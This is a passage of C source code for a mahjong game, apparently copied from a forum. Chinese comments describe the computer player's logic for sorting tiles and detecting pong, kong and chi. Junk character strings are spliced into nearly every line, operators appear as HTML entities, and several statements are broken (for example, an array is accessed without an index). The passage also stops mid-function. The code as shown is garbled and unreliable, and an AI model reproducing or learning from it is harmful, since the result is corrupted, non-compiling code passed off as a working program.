+ H- ?* l! m( j. G2 A* ~0 Rcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
) l$ R/ @7 U# I% e4 rcomputer.pp[j+1].oneorfour=u;5 h7 ]$ M" F! Y. }
u=computer.pp[n].number;  F7 E  B' Z9 R* P7 F% n* A
computer.pp[n].number=computer.pp[j+1].number;
1 a7 z. z. C' Z$ Jcomputer.pp[j+1].number=u;+ s8 R' i2 \- ^' b
}, K: c" `. W  ^3 T1 y, M
}$ J" R0 V+ t  B9 L
}3 [7 l+ f1 Q8 ~# e
void melipai()8 K) y) _) P. V) Z
{ int n,j,u;" m5 ]+ C5 X# X4 A% }0 K" I; H5 x
int *lingshi;1 ~" r1 O; W$ ]5 _) o! L
for(n=0;n&lt;me.m;n++)
: j7 Q6 ^: O( t( Mfor(j=n;j&lt;me.m;j++); C5 P- o+ l0 }* D% W* N5 u4 {. {+ t4 o6 e
{% \& D: Y  V  G# w
if(me.pp[n].number&gt;me.pp[j+1].number)! o2 M- |1 R- {# f/ o8 }
{
8 l1 e. Z# i) D2 ulingshi=me.pp[n].k;3 z* W. m6 n- z+ H0 [
me.pp[n].k=me.pp[j+1].k;
+ }2 `) d4 a* X( b' p8 c2 lme.pp[j+1].k=lingshi;& R4 S1 X' ?+ I0 I6 ~$ C3 L! B" r
u=me.pp[n].oneorfour;9 }9 {+ e' U& v; ?/ j- V9 j
me.pp[n].oneorfour=me.pp[j+1].oneorfour;' X' g0 l9 l. P% a3 E
me.pp[j+1].oneorfour=u;
& i; N/ Q0 E3 J* ru=me.pp[n].number;/ d* K! N8 X( {/ z/ R) n" T( y
me.pp[n].number=me.pp[j+1].number;' [$ F9 Z7 q( @# f
me.pp[j+1].number=u;
$ L& L6 a% I- D( G7 Q% S: U0 O}
! J3 }4 u" e: b8 Pelse8 {8 ^" {6 T3 \: h
if(me.pp[n].number==me.pp[j+1].number)
; Y3 ?6 T6 d9 d/ j4 b1 K9 Zif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
( M8 |# ?) e; p5 z$ S  s- d1 M( }{* U+ u7 ^2 z$ m: V- k1 R
lingshi=me.pp[n].k;
& y) l9 J% W- G/ Vme.pp[n].k=me.pp[j+1].k;
  d3 ~, e  u  ~. y' g. X& hme.pp[j+1].k=lingshi;
# z3 p4 D( S, j4 I9 f  ]/ fu=me.pp[n].oneorfour;
2 r+ j4 W& r& [" {, cme.pp[n].oneorfour=me.pp[j+1].oneorfour;
' h; D8 N& z) @; @me.pp[j+1].oneorfour=u;# R* j1 V9 @2 @/ B: j0 d
u=me.pp[n].number;
7 C2 j0 P4 H4 t4 D/ G* yme.pp[n].number=me.pp[j+1].number;' K6 J/ m. t6 S0 d! g6 X
me.pp[j+1].number=u;
% \: t, @- W. F/ E! [- q}
0 s5 }3 ?% i' ?, V+ S+ p}
6 P# i# ]7 R8 V( @8 ]7 M* ?}" [6 W7 n6 c3 P! N. m5 w
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
+ b* _3 @# e  H{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;5 B" Q9 l+ x, }. K* G. j  w/ k
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
4 j$ X6 a" m5 t! J{
5 l/ i1 m" T$ f5 A8 G" l* ~logo=1;
0 ]" g8 ?  ]3 j0 V: \4 J& Wif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0): g& e1 X; B& m' k- E0 |8 B: ~1 P! W
logoo=1;
1 D8 a6 g# c4 Lelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)2 |: A! K9 l2 J0 q3 Z' N) J6 ~1 W
logoo=2;+ E' X  k9 U  v
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)9 x' Y7 t4 Y- ]+ O  Z
logoo=3;) {# l8 z" K. X) p
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
" S. g0 @+ h" H" ologoo=4;
% I% @& o$ [: U/ \/ x" oelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
, }6 G8 H* J+ k, r1 Qlogoo=5;
) B6 `* v* ?' m& j4 jelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
- J0 B$ I, i9 B) ]. d0 nlogoo=6;( i. S" J/ e) l$ r0 {  V5 M
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
6 Y4 [  C0 h* S* Zlogoo=7;0 c1 [6 x$ i7 F2 d, {5 v
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28); N- ~9 @3 t# ~3 G, B* `  |
logoo=8;
# \6 D/ t5 b* s& L( X; e9 Jelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)( c: Q. K; ~( ?6 n  k4 N0 G9 a
logoo=9;
1 r( E7 [8 [4 N8 ]9 o- b) n7 u}# [: q( W2 \# R4 c" r0 R
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
" y' ]8 \7 |# G+ A7 o( p4 O! m{
8 T4 s% f' q( u9 wlogo=2;$ ~: g8 ]7 n9 _2 y1 v
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)6 w, T# M4 J( O& I- G
logoo=1;
/ ~4 P# e0 q$ s; u7 h% G* Gelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)( x  R  H; @. C$ J
logoo=2;" a5 F& ]6 r; z
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)& H( t( u+ p6 Z1 r+ ^- T# }
logoo=3;7 {8 C# M0 j6 d3 \! Z
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
$ r: R% Q. ^3 K" G- ilogoo=4;
% ~0 W$ C% l5 s& S4 u4 {& U6 h0 Relse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)* g4 ~# W: v  |& t4 c/ _/ [. \* H5 ~
logoo=5;
( C6 f. l# F1 B& m- y. m4 relse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)5 T6 }# s* b4 P8 ^
logoo=6;
% C3 Q, Z  A% V8 l( `else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
( k7 t# O3 R1 X8 l+ A- b& Wlogoo=7;
0 l4 j5 s' W$ O& U0 N; Yelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)$ B4 @* n9 P$ i, B( H
logoo=8;
& N6 s( [8 k) ^& Q8 m6 Q8 relse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
/ E7 D2 d& f8 X; {logoo=9;2 J. c; Q/ j$ y; k2 X0 X$ R6 c. \
}- y# ?5 f$ y' d4 y, ?) u
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
+ K  ?# Y: m* c& }* V{
) ~0 b# h9 C" q- rlogo=3;0 \" L4 n+ M, k1 F4 ^4 p
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
% l$ ]" @+ ^  a: Ologoo=1;
$ L, Q: R3 U8 @( D9 h& Helse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
, S2 k7 m2 E' U& ~* q6 E+ Clogoo=2;
8 y( U# J" |3 zelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
0 _0 z3 s$ |8 F2 Y) Blogoo=3;! N, a  ^! \6 H8 f6 S
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)9 R2 U( T) k$ X4 r8 E
logoo=4;
7 t  d& [7 s3 D& \else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)" h2 Z1 j$ ~5 T9 K1 I. e# ~; T
logoo=5;
  Z( N8 S$ g9 H9 O* Lelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
& W# t/ O+ X; q; D8 tlogoo=6;
# L; E% B, t9 d- W/ l8 zelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)3 u7 H" i& E! Y4 \& N) r
logoo=7;
! R$ E% N; E8 u, ~else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)6 d. Q* O1 M3 B6 ?/ l% Y
logoo=8;
" d2 u5 o: q6 e6 |, o: Belse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)" x: v# D: y  W' Q
logoo=9;
6 I8 F+ a& D1 p}0 C; `" v  @; x9 u9 E
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)  ]' z/ ?$ V/ g" e' O
{
; L- O: L; K' E4 ?- a7 }logo=4;
. B7 W2 O' V0 k8 k+ \/ ]  yif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
2 X' m$ B5 R' V+ B( S& {logoo=1;
6 w' g. f' m) B$ P$ }% v! m& Eelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)9 R5 M0 W/ w" d" y7 ]% ~8 L% f
logoo=2;
% p& ~( A. W& T& e( P! Belse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
, c3 h$ Q5 _4 s  Z2 Qlogoo=3;- K: o/ w$ o- j( C& C0 h  D
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120). L* w% C( ]  ]! m2 ]
logoo=4;
' p. ^' Y' p- a! K/ }) F8 R. relse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)' A# k& c4 W/ M) g
logoo=5;
7 V" h& `3 c/ D/ Nelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
( y3 N3 Y9 g) U" R9 Clogoo=6;
9 r$ p; W# \, O% V1 ^1 E; selse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
) _+ D$ S8 L4 Wlogoo=7;
7 [4 l0 E' Y% i' [+ j! c}; t8 c2 F0 P* Q. J8 |- @
while(b&lt;=computer.m)$ I7 R6 q- I3 Z' Z+ V+ b5 Z0 ?
{/ C& G; D- W( z3 y! O# N( b
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/6 s3 V9 m+ u5 e
{  g% A" y+ U& ~5 i8 {, ~
lg=1;7 U6 O4 w1 g4 W& t8 W3 X* D
computer.pp.d[0]=1;
1 M% j9 w7 z& S" c& ^( y. Tif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)" j0 y3 l/ |# ?, N
{. B$ V. C0 B: g- L, _2 g
lgg=1;3 E: \3 Y7 g' G
computer.pp.d[1]=1;0 F  W$ Q0 a" M" Y; r( _& v+ o! \
}
9 x% P- a" V6 u, P& F0 F' felse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)2 U2 c6 `2 x0 S+ s0 C9 P4 ~* B9 h, p1 B
{
/ l3 e. f* J0 r0 wlgg=2;1 {' C+ g; l' O$ }
computer.pp.d[1]=2;
  e- ?3 e5 Y) q- ^1 m6 Z}4 S! a' ]  V0 g9 h# w; _
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)- `7 x6 ]; F, t8 D
{
6 B* H5 v1 T' s- a+ _$ nlgg=3;
+ h& a# T8 N+ _: K' Ycomputer.pp.d[1]=3;% c. p) j/ U' f$ j* J( L' r
}$ I; J/ M1 ~2 U% _
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)0 J* v* m6 J# ]0 F# ^$ o* ?! j+ p% W
{
; z' z* g: p/ g3 ~" R% dlgg=4;% r2 n' j; {% P, m: H' z; y. X" n
computer.pp.d[1]=4;
0 g- v( `% L" t5 W$ W/ Q}: O' Y. T  R/ a" ~  a2 a0 n: x
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
$ g4 x: a$ y4 X3 k- n7 C{
0 w0 q, r% c& n( Y. z* ^lgg=5;
7 L9 S- ~" R- E1 N- W5 U1 bcomputer.pp.d[1]=5;' t; x& Y, j6 @$ n4 O2 Q/ j1 W
}6 [" w0 E! Y6 H
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)5 k% Z7 A" l5 C% O3 M) l
{
( \# _/ |3 P8 A3 t9 n+ h: jlgg=6;
1 @& l& i  @# ?- Wcomputer.pp.d[1]=6;+ \. {5 ]' v) W  Q
}
8 P# }! T) [/ b+ b6 }: `else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)3 k. Y" S" H7 {% b1 t+ E  N
{
; x8 U8 a1 ?3 D. \' z& x7 r* n( jlgg=7;" s& j$ L8 y7 t$ V9 T" M2 C( V' p
computer.pp.d[1]=7;0 d; J) y5 D( U$ E% L% I& F
}/ j8 f  k; ?4 i$ d
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
2 Z3 Y  O' Z' G) ?; T6 \9 v3 O4 p{. N; h% u) |- s4 O4 C$ B
lgg=8;
- l  X+ c: U* icomputer.pp.d[1]=8;0 g5 b: b2 Z8 ]  m8 p' s/ ~) Y
}4 Z4 |3 ~( i8 [: q
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)( D5 Q2 x3 Z4 t. N. S6 V( M
{
. f+ @5 d3 }. {) v# elgg=9;! C/ z: O  V, Y9 m
computer.pp.d[1]=9;# D+ f: j/ \& S' l3 `7 ]7 P
}0 Z- m; [) q: s6 H# H
}
) J$ K/ T2 e, G& U8 v9 felse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
$ V( a/ \# }: h5 s: F{. u+ A2 S7 x2 g- `& U2 j5 w5 a  l
lg=2;
) }8 \+ {0 z8 D/ `  B$ H' pcomputer.pp.d[0]=2;
5 H# |: L+ Q5 o2 ]' Hif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36): c- j% _- b9 t) K/ Q
{1 Q# y3 I; y! a  s9 S
lgg=1;1 U0 _7 {( {+ P* @. V
computer.pp.d[1]=1;
( ~2 z! ]+ H0 H+ m}2 a7 v' m- {7 D" ^- N% p8 H
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
8 A* _0 ]1 e/ D/ K/ f{
5 ]  E' i8 i4 q$ Ilgg=2;
% g% R: ~. q3 W: s( i  ?, Tcomputer.pp.d[1]=2;
7 r& k& ?$ F2 c0 Y}0 N7 I; d; y' u0 q9 j
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)( Q  w$ X. d  Z
{
' e$ m/ P1 q4 p/ Ylgg=3;
3 O, ^! s* u# d: q: y. Y0 _computer.pp.d[1]=3;8 r% ?8 }; E" E7 K& V) S- U
}
' ]1 n1 P* @* I, [5 K) belse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
: o- y- Q8 P7 S{
7 F1 k: k  Q" Y. Glgg=4;
) b. |) v6 `+ tcomputer.pp.d[1]=4;8 \3 I) p6 N7 f0 e* y
}
$ H0 t& y4 ]' ~: B* i: R- t" L" Pelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
+ q/ ^3 l% J; t{- h& s9 W  G8 J# m, [
lgg=5;  r& R. z3 n( v
computer.pp.d[1]=5;
) x+ t' ?; _- Z" j2 O}7 C: ?2 v7 U7 r, m
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
* U! m" E/ E8 i; I{# a' M  Q( M! S0 k
lgg=6;
( b( Y6 [$ Y2 |: pcomputer.pp.d[1]=6;
- A1 z7 P1 R! E# k* N; Q}6 W- }4 ^# q# ?( d/ d- R
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)7 ^7 u- h0 C6 r# `% l) R
{
4 b, _. J1 Z/ W" D- p# f: [lgg=7;; w6 v6 b- k! `! k2 t. v8 v
computer.pp.d[1]=7;
; f4 g: a; }. }) {& t; R6 F+ b}
5 h9 @3 H4 K7 O5 S) t0 F$ H4 \5 Lelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
0 \8 v) ~, |1 M5 S8 g  I0 j+ ?{0 G, q4 x; V4 X4 i) z
lgg=8;
( }) d4 f5 A7 ?- }' Kcomputer.pp.d[1]=8;
9 ]  C0 @/ H5 t( j( _) t}1 \- S5 g0 n8 x7 o7 s% e
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
' H$ k1 I' E" [{6 Z4 n( n6 w9 L  j! w/ t
lgg=9;
3 u; a5 L- R. @% Acomputer.pp.d[1]=9;+ P7 T+ Z3 s( m* b6 o
}# G' q% v  F0 N$ z$ l
}0 ^  H0 c9 O! f
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)2 O$ j7 ]/ k+ `; {- U) x! u+ n. o
{# s. E* n% w. t
lg=3;
! T& n* d, b2 }" k8 xcomputer.pp.d[0]=3;
: ~! q# Q) }) Qif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
/ X* a9 X- P# h5 _{
) f! T7 X* L" H; \5 Q* L1 c: ]) D3 flgg=1;; t& ^' D/ X1 X, v& Q  y" v8 m6 w
computer.pp.d[1]=1;* U. y; O7 ?$ T4 C( i
}
5 _0 X) C; }, ~else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)  r/ y* V. {# P  `
{
, I$ A9 v4 ~0 B2 P$ Vlgg=2;- H% |8 s  g. L7 q& k' W
computer.pp.d[1]=2;5 i; _% o; m$ V' g1 G8 q- R
}7 \3 Z* ^& F, s% I
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
6 O* W. |! _- l9 d% n5 U6 K{# q* m  a4 ]& I* O  U
lgg=3;
* q4 O, G) }" u( r% ^computer.pp.d[1]=3;
' f9 K# Z0 |4 |+ \8 v}# K' z0 R8 h& ^( r8 W9 G
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
/ ]' k( c8 \. P{
& |. `+ W5 \8 ?% V2 Clgg=4;4 {/ s3 X9 ^( x7 I. w1 E, u- C( ]
computer.pp.d[1]=4;
7 c* w% Z% f- H& U}
" D- m3 l) v9 S) n. zelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
- N1 E3 K3 y0 `7 Q3 n2 s) |{; w% x/ S; _& B3 O  V* r
lgg=5;
0 T% I% j9 h5 d/ O/ o' x3 Vcomputer.pp.d[1]=5;* v- W$ Z3 S# e0 H
}
( }" R' r7 q8 L8 k0 F, I8 W* _4 Aelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
3 k" A3 f" S7 l! @! }; J4 Y. |! y4 a{
) {2 m8 N$ X6 hlgg=6;# F  k4 w5 X% ~, _
computer.pp.d[1]=6;- X  Y) O7 j, G* ^  V
}
1 J' F' h8 c3 Q  l( T, a/ j& c/ ^else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)! B  E- i3 V( r
{
0 `; ~- U8 h" _) ^lgg=7;7 Q+ x/ X  ~& n) r2 A! i# |/ I
computer.pp.d[1]=7;' j( Z; z( P" _) ]
}" Y* o/ s; }) y: k1 ?) e
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
& @% W' j& g4 ?: C. i{
$ V. v1 P, C# t5 ]* ilgg=8;1 D- ]3 {! Z0 y. x( P/ v5 e
computer.pp.d[1]=8;
: d3 N. _8 a; Z7 C  H: M1 _}
2 K. l5 l. ]  d% C: s4 a$ `0 Eelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)- l+ h$ w' u( Q5 x( T# G6 j
{
9 R0 @9 S9 R) D6 l* }) p1 T* k- ~lgg=9;- _9 v3 ]* A! x5 _# n
computer.pp.d[1]=9;) I" ?2 H- d9 ]1 [) z" E. G( m
}
+ W8 A$ R4 W& x9 e! p' `}
4 x9 j2 ^; U9 }else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
0 Y+ N3 w  {& ~/ H1 G5 @{
* f" c# w; P9 y* Z4 r0 h6 Nlg=4;
/ _& C; |  y/ _0 p/ p* @computer.pp.d[0]=4;; \6 a" ?; h! A
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
6 j0 H0 l6 I" W" E{
3 I" a) ?* O1 e; l, k6 Olgg=1;# y1 b$ R6 B' o% J6 i
computer.pp.d[1]=1;
* F" p$ X6 p& u9 P/ k5 ^# V}1 x  `6 N) r  K- U9 u0 `
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)" {9 U- Q/ b$ z8 E  f, M
{
6 d, n, D5 A) o6 f7 {" s% z+ nlgg=2;
# O5 p+ Z" P& k; F' X4 ?computer.pp.d[1]=2;
  L# I$ R. k& r$ n}
! f! Y3 ]$ B% w) Xelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
4 R: F. w3 ^% T( m/ q* k{$ `$ v' F  B8 L% T" h$ X! @( M3 z
lgg=3;0 g; `1 S9 z1 d( }! r
computer.pp.d[1]=3;
: y4 q# {1 l" }0 }, k  y}
' f3 J, g& L% l5 ^6 b: Zelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
( d1 u0 L, D; s9 e8 J{
. H/ X: ]9 y0 {0 Z. r/ w4 nlgg=4;
  V% X* f2 y6 }: {' kcomputer.pp.d[1]=4;
$ S5 |) J! n" J. ~. N# W. v7 }- K}) k1 B+ `  g- O+ a3 D8 U
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)' ^; V# z; r/ v) R" Z
{1 L4 u8 |! P( Z. E
lgg=5;
5 j. C$ A' H7 p8 S' f9 x% g6 Lcomputer.pp.d[1]=5;
8 a( e3 O2 f$ N6 d$ H3 }. {}3 _4 ]: J6 ]' J0 `8 O7 ]. f
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)& g+ G- q4 m( m: R, f
{9 q% v- ~. W5 o
lgg=6;
% D. ~- P* g. \) \& ocomputer.pp.d[1]=6;
; G4 W  M% F: ]! s# l2 H  \$ m4 S}
, E7 l6 w2 s$ D/ velse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
. L4 X* S7 P& E/ h+ q/ ^! ]{
* S$ X* R* D$ a0 j% g- Xlgg=7;: D6 k& u6 b5 N/ p. N1 T2 p" \; u
computer.pp.d[1]=7;+ Z8 Q; x" Z5 N) `0 @- P
}5 U$ c# |! Q- Y1 z; B- b0 k
}
9 Z6 ?+ l3 \- V( ~; f" E! a/ W4 j7 Q0 Z
' g2 o" v: k1 l- k9 x) r5 R3 |  Aif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/. F! V- q9 p/ P# f' Z: v! o" }
if(logoo==lgg)5 F! W7 ^6 s' O7 ^
pg++;
+ I. q% N- A4 j' Cch.lg=lg; /*保存电脑手里的每张牌的信息*/  O5 q& U$ h, g" A1 ~8 u& }
ch.lgg=lgg;) a$ K8 I- }+ z$ y- B; ]! U' `
lg=0;
8 F, G6 n2 b3 K) z, Zlgg=0;
0 |6 Y+ w2 [  |( Fb++;% U3 Q. ]2 ~0 H
}" T2 R# _9 z- u8 z
if(pg==2) /*乓*/# ]3 X! c- m+ w+ f1 v
{$ p+ s& s( \& R1 c
: \% I6 H/ l& X# d
sing=1;
  V, ^* |+ u/ I9 [* m; b' ib=computer.m;
) h4 U6 h% A+ L/ {  ^1 Pwhile(b!=-1)
+ w0 A' @* S4 a5 K. m{
5 r, T1 W2 `$ yif(strcmp(me.pp[c].k,computer.pp.k)==0)
6 k/ j% z  y  V) e6 C: |computer.pp.p=1;
9 A; A; r* x* D9 u  p9 U. L
2 a$ \8 X* w1 T" A; k7 c" }b--;
0 M$ A& Q0 \5 Y3 V}
8 t. |( S: g* A# R2 q+ I}2 w1 _! k& J* X( G+ f) |+ V
if(pg==3) /*杠*/
8 l6 J, h$ g) d- x$ X2 K{
, t% K1 R. f" \# N; {
& a+ ]" ~0 e# Ssing=2;
& n6 B: s) o: d9 c# M8 Hb=computer.m;% S/ ]  w( y/ I. O, z
while(b!=-1)
" l1 Y, U3 P) q$ d: q{
! K: d/ k1 _$ z4 T7 X; m7 l' Tif(strcmp(me.pp[c].k,computer.pp.k)==0)5 K" f: L- h. o; _& N
computer.pp.g=1;6 a4 v: ^$ F+ l
b--;
, f: O& M/ l" X1 o3 |0 f3 f}
  x* D7 E# ~, d0 k5 ]! R9 J}+ e3 G$ h/ \" {4 T; d7 X
f=0;  L) [7 ?: `; G/ w$ I+ U5 E2 V" h
while(f&lt;computer.m) /*吃的判断*/  D  A! \! V6 Y3 i
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)$ S: K, Y0 c+ w, j  H3 k/ i! Z
{
  f% V5 }9 U/ h0 I1 U4 cif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
  ]) H. s3 l- w- t6 Z. t, Y# ~if(ch[f].lgg-logoo==1)* v7 t6 a' m+ t+ j' M
{
$ c( [+ E: r+ t$ Zgp++;
" s, i7 h5 V: ]computer.pp[f].c=1;9 e# Y& l) n6 k0 V
computer.pp[f+1].c=1;: B. Y7 D. L7 H9 t* O: k3 c
}
- j) F; v( `& C$ ^5 `- m. pif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
( v7 O# c* g& Z. k% b( ?if(ch[f+1].lgg-logoo==-1)8 E! B% Q3 A$ ^8 c+ l: u
{
7 U3 A/ H( j( i! f# G1 rgp++;
# H8 q: T" f* ~7 U, [computer.pp[f].c=1;5 O5 P! Y& f+ H* y9 J5 X9 v& X5 A
computer.pp[f+1].c=1;( I' S! e8 ]$ U" a4 n- g2 K
}' R0 W0 s; u' X" Z/ A  r0 u
if(ch[f].lgg-logoo==-1) /*中吃*/- X& V! L, H: r# B, k
if(ch[f+1].lgg-logoo==1)
9 w: {% o8 o- z- \{8 F* R3 K4 B" Q! ]+ Z' g# U8 q
gp++;, x4 k, d( m0 ^& r/ L+ T
computer.pp[f].c=1;# D+ w, n  Z+ f, j5 r# d8 R
computer.pp[f+1].c=1;) X2 p! d* a) @- t3 ]
}
: k; I! E4 F% x$ H( n9 K# b& c! cif(gp==1)
% F8 \; e- z9 z4 ubreak;+ {! ]9 P: N4 H/ f3 |; w8 p
}1 U3 R) y% w# W
f++;
/ @3 |$ W' b) Z( U1 ]/ `}! @. g3 }' G) T: q( q' U
if(gp==1)
- g" ~0 d4 o0 |0 }, T' k{sing=7;7 H$ n7 a* c5 Z4 A9 r% }+ ^

! n# I% J" V, N' F' B+ b5 F6 [}' {( r, C# R0 @+ D! S" B7 v1 @* X
pg=0;* K+ P$ e6 {  s9 I; ~
gp=0;, [9 n9 a4 S; F7 u/ n# M
b=0;
5 w3 [9 @+ I: r% V" I! H}% I( X! }+ x0 l3 @8 U% Z
void rgznme(int c) /*本程序涵数的核心针对我的牌*/3 ^2 l; [/ @# V0 S& [
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
/ J6 i2 ?* E# U2 ~6 Q/ Zif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
# J0 `3 \; u$ `. _{
' ^) |) O. y: W8 e* ulogo=1;  q7 l' r* s  ]) e. V
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)" O( S& w  u* A5 {  K- L- U# I, D
logoo=1;
/ P, k5 y1 ]& ?4 A8 l. n4 u1 Jelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)3 k( ?' G/ m( H: R) a$ X
logoo=2;
3 s: W0 ^3 Y. v0 L; a3 Felse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)% r; z3 P# j1 ?! N& G, b
logoo=3;
0 `( H4 X/ g" U/ p/ {2 relse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
# B1 S/ j; \* T" X9 alogoo=4;+ d2 Z( Z2 L$ q# p5 w7 I1 D
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)1 }8 V; `! z4 a
logoo=5;- G( [0 l* y& @1 E) e
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)' W6 P: J+ @) y+ g( L  I
logoo=6;2 G% j) P% W, d) ]
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
/ r5 ?" m4 M, f3 t' S# H' n1 ~3 a1 x( Wlogoo=7;
9 H& X: t- J9 gelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)( @0 {. _8 }1 S. y
logoo=8;- e) ^  o4 M6 M4 o2 [) s6 h
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)2 O4 B! V! P. ^" V0 Q5 t6 p4 n
logoo=9;! V: q7 T# b' W2 ^; L
}
: Y' }  G# M# X, s* g% @else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)0 }! E. \9 N* ^) q5 B! B& |
{; s0 \% v  G; N
logo=2;
